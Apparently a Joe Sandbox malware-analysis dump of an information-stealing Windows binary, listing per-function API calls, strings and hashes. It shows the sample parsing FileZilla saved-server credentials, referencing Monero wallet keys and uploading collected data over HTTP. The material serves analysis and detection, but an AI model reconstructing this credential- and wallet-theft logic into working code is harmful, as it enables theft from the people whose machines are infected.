GetProcAddress.KERNEL32(750F0000,0142B158), ref: 001FA32C
GetProcAddress.KERNEL32(75A50000,0143CB70), ref: 001FA352
GetProcAddress.KERNEL32(75A50000,014265C0), ref: 001FA36A
GetProcAddress.KERNEL32(75A50000,01438900), ref: 001FA382
GetProcAddress.KERNEL32(75A50000,0143CD80), ref: 001FA39B
GetProcAddress.KERNEL32(75A50000,0143CB10), ref: 001FA3B3
GetProcAddress.KERNEL32(75A50000,014262E0), ref: 001FA3CB
GetProcAddress.KERNEL32(75A50000,01426400), ref: 001FA3E4
GetProcAddress.KERNEL32(75A50000,0143CDC8), ref: 001FA3FC
GetProcAddress.KERNEL32(75A50000,0143CD68), ref: 001FA414
GetProcAddress.KERNEL32(75070000,014265E0), ref: 001FA436
GetProcAddress.KERNEL32(75070000,0143CBB8), ref: 001FA44E
GetProcAddress.KERNEL32(75070000,0143CDB0), ref: 001FA466
GetProcAddress.KERNEL32(75070000,0143CD38), ref: 001FA47F
GetProcAddress.KERNEL32(75070000,0143CCD8), ref: 001FA497
GetProcAddress.KERNEL32(74E50000,01426480), ref: 001FA4B8
GetProcAddress.KERNEL32(74E50000,014264A0), ref: 001FA4D1
GetProcAddress.KERNEL32(75320000,014264C0), ref: 001FA4F2
GetProcAddress.KERNEL32(75320000,0143CDE0), ref: 001FA50A
GetProcAddress.KERNEL32(6F070000,01426520), ref: 001FA530
GetProcAddress.KERNEL32(6F070000,01426540), ref: 001FA548
GetProcAddress.KERNEL32(6F070000,014264E0), ref: 001FA560
GetProcAddress.KERNEL32(6F070000,0143CC30), ref: 001FA579
GetProcAddress.KERNEL32(6F070000,01426600), ref: 001FA591
GetProcAddress.KERNEL32(6F070000,014263E0), ref: 001FA5A9
GetProcAddress.KERNEL32(6F070000,01426660), ref: 001FA5C2
GetProcAddress.KERNEL32(6F070000,014262A0), ref: 001FA5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 001FA5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 001FA607
GetProcAddress.KERNEL32(74E00000,0143CCF0), ref: 001FA629
GetProcAddress.KERNEL32(74E00000,01438810), ref: 001FA641
GetProcAddress.KERNEL32(74E00000,0143CBA0), ref: 001FA659
GetProcAddress.KERNEL32(74E00000,0143CB88), ref: 001FA672
GetProcAddress.KERNEL32(74DF0000,014262C0), ref: 001FA693
GetProcAddress.KERNEL32(6F9C0000,0143CC00), ref: 001FA6B4
GetProcAddress.KERNEL32(6F9C0000,01426300), ref: 001FA6CD
GetProcAddress.KERNEL32(6F9C0000,0143CC48), ref: 001FA6E5
GetProcAddress.KERNEL32(6F9C0000,0143CDF8), ref: 001FA6FD

Strings

InternetSetOptionA, xrefs: 001FA5E5
HttpQueryInfoA, xrefs: 001FA5FC

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 4239ed5b8b139175cc2e6f6aec12eb2d2e8a690d1da475f9553650c04bd2602f
Instruction ID: 2385678c4f7781ec19ffab5b5547cbbb7e3666fc61b10f441ff25a1d45a8c843
Opcode Fuzzy Hash: 4239ed5b8b139175cc2e6f6aec12eb2d2e8a690d1da475f9553650c04bd2602f
Instruction Fuzzy Hash: 85622EB5700200AFC364EFA8EE88A6677F9F78C601794453AEE05C3264D7399467DB1E

Function 001E7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 001E7724
RtlAllocateHeap.NTDLL(00000000), ref: 001E772B
lstrcat.KERNEL32(?,014394E8), ref: 001E78DB
lstrcat.KERNEL32(?,?), ref: 001E78EF
lstrcat.KERNEL32(?,?), ref: 001E7903
lstrcat.KERNEL32(?,?), ref: 001E7917
lstrcat.KERNEL32(?,0143DD60), ref: 001E792B
lstrcat.KERNEL32(?,0143DD00), ref: 001E793F
lstrcat.KERNEL32(?,0143DCD0), ref: 001E7952
lstrcat.KERNEL32(?,0143DC10), ref: 001E7966
lstrcat.KERNEL32(?,0143DFF8), ref: 001E797A
lstrcat.KERNEL32(?,?), ref: 001E798E
lstrcat.KERNEL32(?,?), ref: 001E79A2
lstrcat.KERNEL32(?,?), ref: 001E79B6
lstrcat.KERNEL32(?,0143DD60), ref: 001E79C9
lstrcat.KERNEL32(?,0143DD00), ref: 001E79DD
lstrcat.KERNEL32(?,0143DCD0), ref: 001E79F1
lstrcat.KERNEL32(?,0143DC10), ref: 001E7A04
lstrcat.KERNEL32(?,0143E060), ref: 001E7A18
lstrcat.KERNEL32(?,?), ref: 001E7A2C
lstrcat.KERNEL32(?,?), ref: 001E7A40
lstrcat.KERNEL32(?,?), ref: 001E7A54
lstrcat.KERNEL32(?,0143DD60), ref: 001E7A68
lstrcat.KERNEL32(?,0143DD00), ref: 001E7A7B
lstrcat.KERNEL32(?,0143DCD0), ref: 001E7A8F
lstrcat.KERNEL32(?,0143DC10), ref: 001E7AA3
lstrcat.KERNEL32(?,0143E0C8), ref: 001E7AB6
lstrcat.KERNEL32(?,?), ref: 001E7ACA
lstrcat.KERNEL32(?,?), ref: 001E7ADE
lstrcat.KERNEL32(?,?), ref: 001E7AF2
lstrcat.KERNEL32(?,0143DD60), ref: 001E7B06
lstrcat.KERNEL32(?,0143DD00), ref: 001E7B1A
lstrcat.KERNEL32(?,0143DCD0), ref: 001E7B2D
lstrcat.KERNEL32(?,0143DC10), ref: 001E7B41
lstrcat.KERNEL32(?,0143E130), ref: 001E7B55
lstrcat.KERNEL32(?,?), ref: 001E7B69
lstrcat.KERNEL32(?,?), ref: 001E7B7D
lstrcat.KERNEL32(?,?), ref: 001E7B91
lstrcat.KERNEL32(?,0143DD60), ref: 001E7BA4
lstrcat.KERNEL32(?,0143DD00), ref: 001E7BB8
lstrcat.KERNEL32(?,0143DCD0), ref: 001E7BCC
lstrcat.KERNEL32(?,0143DC10), ref: 001E7BDF
lstrcat.KERNEL32(?,0143E198), ref: 001E7BF3
lstrcat.KERNEL32(?,?), ref: 001E7C07
lstrcat.KERNEL32(?,?), ref: 001E7C1B
lstrcat.KERNEL32(?,?), ref: 001E7C2F
lstrcat.KERNEL32(?,0143DD60), ref: 001E7C43
lstrcat.KERNEL32(?,0143DD00), ref: 001E7C56
lstrcat.KERNEL32(?,0143DCD0), ref: 001E7C6A
lstrcat.KERNEL32(?,0143DC10), ref: 001E7C7E

Part of subcall function 001E75D0: lstrcat.KERNEL32(35C23020,002017FC), ref: 001E7606
Part of subcall function 001E75D0: lstrcat.KERNEL32(35C23020,00000000), ref: 001E7648
Part of subcall function 001E75D0: lstrcat.KERNEL32(35C23020, : ), ref: 001E765A
Part of subcall function 001E75D0: lstrcat.KERNEL32(35C23020,00000000), ref: 001E768F
Part of subcall function 001E75D0: lstrcat.KERNEL32(35C23020,00201804), ref: 001E76A0
Part of subcall function 001E75D0: lstrcat.KERNEL32(35C23020,00000000), ref: 001E76D3
Part of subcall function 001E75D0: lstrcat.KERNEL32(35C23020,00201808), ref: 001E76ED
Part of subcall function 001E75D0: task.LIBCPMTD ref: 001E76FB

lstrcat.KERNEL32(?,0143E5A0), ref: 001E7E0B
lstrcat.KERNEL32(?,0143D698), ref: 001E7E1E
lstrlen.KERNEL32(35C23020), ref: 001E7E2B
lstrlen.KERNEL32(35C23020), ref: 001E7E3B

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 0d8f4aa962a8148199cc7e3944a5bc7806e06d511609f3f0acdbe2edd2bed3c3
Instruction ID: 5d6b71cba7b1019f2b5c4b029cc89e4910aca642a522ade7a15307e4ea61a0f5
Opcode Fuzzy Hash: 0d8f4aa962a8148199cc7e3944a5bc7806e06d511609f3f0acdbe2edd2bed3c3
Instruction Fuzzy Hash: 553220B6900318ABDB25EBA0DC85DEE737CBB54700F444A98F70A62090DF74E7968F55

Function 001F0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001F8E0B

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001E99EC
Part of subcall function 001E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 001E9A11
Part of subcall function 001E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 001E9A31
Part of subcall function 001E99C0: ReadFile.KERNEL32(000000FF,?,00000000,001E148F,00000000), ref: 001E9A5A
Part of subcall function 001E99C0: LocalFree.KERNEL32(001E148F), ref: 001E9A90
Part of subcall function 001E99C0: CloseHandle.KERNEL32(000000FF), ref: 001E9A9A

Part of subcall function 001F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001F8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00200DBA,00200DB7,00200DB6,00200DB3), ref: 001F0362
RtlAllocateHeap.NTDLL(00000000), ref: 001F0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 001F0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00200DB2), ref: 001F0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 001F03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00200DB2), ref: 001F03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 001F0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00200DB2), ref: 001F0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 001F0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00200DB2), ref: 001F0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00200DB2), ref: 001F0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00200DB2), ref: 001F051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00200DB2), ref: 001F0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00200DB2), ref: 001F054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 001F0562
lstrcat.KERNEL32(?,profile: null), ref: 001F0571
lstrcat.KERNEL32(?,url: ), ref: 001F0580
lstrcat.KERNEL32(?,00000000), ref: 001F0593
lstrcat.KERNEL32(?,00201678), ref: 001F05A2
lstrcat.KERNEL32(?,00000000), ref: 001F05B5
lstrcat.KERNEL32(?,0020167C), ref: 001F05C4
lstrcat.KERNEL32(?,login: ), ref: 001F05D3
lstrcat.KERNEL32(?,00000000), ref: 001F05E6
lstrcat.KERNEL32(?,00201688), ref: 001F05F5
lstrcat.KERNEL32(?,password: ), ref: 001F0604
lstrcat.KERNEL32(?,00000000), ref: 001F0617
lstrcat.KERNEL32(?,00201698), ref: 001F0626
lstrcat.KERNEL32(?,0020169C), ref: 001F0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00200DB2), ref: 001F068E

Strings

<User>, xrefs: 001F0410
password: , xrefs: 001F05FB
<Pass encoding="base64">, xrefs: 001F045A
<Host>, xrefs: 001F037C
<Port>, xrefs: 001F03C6
login: , xrefs: 001F05CA
browser: FileZilla, xrefs: 001F0559
profile: null, xrefs: 001F0568
url: , xrefs: 001F0577
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 001F02A4

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 3ba4029bfce0859d7b46276d2ae93f336f56b87e622de4206e9ff90bbb43d451
Instruction ID: 8391c046dbb42e4a635c8f46164fd348afcf67e7d2226afb6d82b3f333d63972
Opcode Fuzzy Hash: 3ba4029bfce0859d7b46276d2ae93f336f56b87e622de4206e9ff90bbb43d451
Instruction Fuzzy Hash: F4D122B191020CABCB04FBE0DD96EFD7378AF64301F804518F606A7096DF75AA16CB65

Function 001E5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001E4839
Part of subcall function 001E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 001E4849

lstrlen.KERNEL32(00000000), ref: 001E5193

Part of subcall function 001F8EA0: CryptBinaryToStringA.CRYPT32(00000000,001E5184,40000001,00000000,00000000,?,001E5184), ref: 001F8EC0

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 001E5207
StrCmpCA.SHLWAPI(?,0143E570), ref: 001E5225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001E5340
HttpOpenRequestA.WININET(00000000,0143E460,?,0143DB20,00000000,00000000,00400100,00000000), ref: 001E53A4

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0143E590,00000000,?,01439B48,00000000,?,002019DC,00000000,?,001F51CF), ref: 001E5737
lstrlen.KERNEL32(00000000), ref: 001E574B
GetProcessHeap.KERNEL32(00000000,?), ref: 001E575C
RtlAllocateHeap.NTDLL(00000000), ref: 001E5763
lstrlen.KERNEL32(00000000), ref: 001E5778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 001E57A9
lstrlen.KERNEL32(00000000), ref: 001E57C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 001E57E1
lstrlen.KERNEL32(00000000,?,?), ref: 001E580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 001E5822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 001E584D
InternetCloseHandle.WININET(00000000), ref: 001E58B1
InternetCloseHandle.WININET(00000000), ref: 001E58BE
InternetCloseHandle.WININET(00000000), ref: 001E58C8

Strings

", xrefs: 001E5706
", xrefs: 001E5482
------, xrefs: 001E53B7
------, xrefs: 001E563B
--, xrefs: 001E5280
", xrefs: 001E55C4
------, xrefs: 001E5297
------, xrefs: 001E54F9

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: a732c2db116cf62cd3b1b0917f1c19b2142854ff76c8e7c41a5087e05eb8c51d
Instruction ID: 334c94e79f46b19f67648d9abbb695a7e54f81364f709d6a3494e4fb1cbb4181
Opcode Fuzzy Hash: a732c2db116cf62cd3b1b0917f1c19b2142854ff76c8e7c41a5087e05eb8c51d
Instruction Fuzzy Hash: D83203B192011CABDB14EBA0DC91FFE7378BF64741F8041A9B60A62092DF746B49CF56

Function 001EA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001FAA70: StrCmpCA.SHLWAPI(01438830,001EA7A7,?,001EA7A7,01438830), ref: 001FAA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 001EAAC8
RtlAllocateHeap.NTDLL(00000000), ref: 001EAACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 001EABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 001EA8B0

Part of subcall function 001FA820: lstrlen.KERNEL32(001E4F05,?,?,001E4F05,00200DDE), ref: 001FA82B
Part of subcall function 001FA820: lstrcpy.KERNEL32(00200DDE,00000000), ref: 001FA885

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

lstrcat.KERNEL32(?,00000000), ref: 001EACEB
lstrcat.KERNEL32(?,00201320), ref: 001EACFA
lstrcat.KERNEL32(?,00000000), ref: 001EAD0D
lstrcat.KERNEL32(?,00201324), ref: 001EAD1C
lstrcat.KERNEL32(?,00000000), ref: 001EAD2F
lstrcat.KERNEL32(?,00201328), ref: 001EAD3E
lstrcat.KERNEL32(?,00000000), ref: 001EAD51
lstrcat.KERNEL32(?,0020132C), ref: 001EAD60
lstrcat.KERNEL32(?,00000000), ref: 001EAD73
lstrcat.KERNEL32(?,00201330), ref: 001EAD82
lstrcat.KERNEL32(?,00000000), ref: 001EAD95
lstrcat.KERNEL32(?,00201334), ref: 001EADA4
lstrcat.KERNEL32(?,00000000), ref: 001EADB7
lstrlen.KERNEL32(?), ref: 001EAE0D
lstrlen.KERNEL32(?), ref: 001EAE1C

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

DeleteFileA.KERNEL32(00000000), ref: 001EAE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 001EABD4

